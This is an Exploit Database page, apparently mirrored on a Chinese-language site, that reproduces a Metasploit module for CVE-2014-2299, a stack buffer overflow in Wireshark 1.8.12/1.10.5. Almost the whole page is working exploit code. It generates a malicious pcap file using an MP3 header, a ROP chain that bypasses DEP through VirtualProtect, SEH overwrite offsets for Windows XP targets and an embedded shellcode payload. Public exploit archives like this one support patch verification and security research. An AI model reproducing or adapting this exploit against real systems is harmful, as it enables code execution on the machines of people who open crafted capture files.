Wireshark 1.8.12/1.10.5 – wiretap/mpeg.c Stack Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2014-04-28
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/33069/

• # Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer
  Overflow
  # Date: 24/04/2014
  # Exploit Author: j0sm1
  # Vendor Homepage: www.wireshark.org
  # Software Link: http://wireshark.askapache.com/download/win32/all-versions/
  # Version: < 1.8.12/1.10.5
  # Tested on: Windows XP SP3
  # CVE : cve-2014-2299
  
  # Metasploit URL module:
  https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb
  
  #
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow',
  'Description'=> %q{
  This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
  by generating an malicious file.)
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  	'Wesley Neelen', # Discovery vulnerability
  'j0sm1',# Exploit and msf module
  ],
  'References' =>
  [
  [ 'CVE', '2014-2299'],
  [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],
  [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ],
  [ 'URL', 'https://www.securityfocus.com/bid/66066/info' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process',
  },
  'Payload'=>
  {
  'BadChars'=> "\xff",
  'Space' => 600,
  'DisableNops' => 'True',
  'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'WinXP SP3 Spanish (bypass DEP)',
  {
  'OffSet' => 69732,
  'OffSet2' => 70476,
  'Ret'=> 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) 
  'jmpesp' => 0x68e2bfb9,
  }
  ],
  	[ 'WinXP SP2/SP3 English(bypass DEP)',
  {
  'OffSet2' => 70692,
  'OffSet' => 70476,
  'Ret'=> 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module
  'jmpesp' => 0x68e2bfb9,
  }
  ],
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Mar 20 2014'
  ))
  
  register_options(
  [
  OptString.new('FILENAME', [ true, 'pcap file','mpeg_overflow.pcap']),
  ], self.class)
  end
  
  def create_rop_chain()
  
  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = 
  [
  0x61863c2a,# POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
  0x62d9027c,# ptr to &VirtualProtect() [IAT libcares-2.dll]
  0x61970969,# MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
  0x61988cf6,# XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
  0x619c0a2a,# POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
  0x61841e98,# & push esp # ret[libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
  0x6191d11a,# POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
  0x00000201,# 0x00000201-> ebx
  0x5a4c1414,# POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] 
  0x00000040,# 0x00000040-> edx
  0x6197660f,# POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
  0x668242b9,# &Writable location [libgnutls-26.dll]
  0x6199b8a5,# POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0
  0x63a528c2,# RETN (ROP NOP) [libgobject-2.0-0.dll]
  0x61863c2a,# POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
  0x90909090,# nop
  0x6199652d,# PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 
  ].flatten.pack("V*")
  
  return rop_gadgets
  
  end
  
  def exploit
  
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  ropchain = create_rop_chain
  magic_header = "\xff\xfb\x41"# mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
  # Here we build the packet data
  packet = rand_text_alpha(883)
  packet << "\x6c\x7d\x37\x6c" # NOP RETN
  packet << "\x6c\x7d\x37\x6c" # NOP RETN
  packet << ropchain
  packet << payload.encoded# Shellcode
  packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
  
  # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
  # After nseh and seh we haven't space, then we have to jump to another location.
  
  # When file is open with command line. This is NSEH/SEH overwrite
  packet << make_nops(4) # nseh
  packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
  
  packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk
  
  # When file is open with GUI interface. This is NSEH/SEH overwrite
  packet << make_nops(4) # nseh
  # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN** [libjpeg-8.dll] **
  packet << "\x55\x59\x80\x6b"
  
  print_status("Preparing payload")
  filecontent = magic_header
  filecontent << packet
  print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
  file_create(filecontent)
  
  end
  end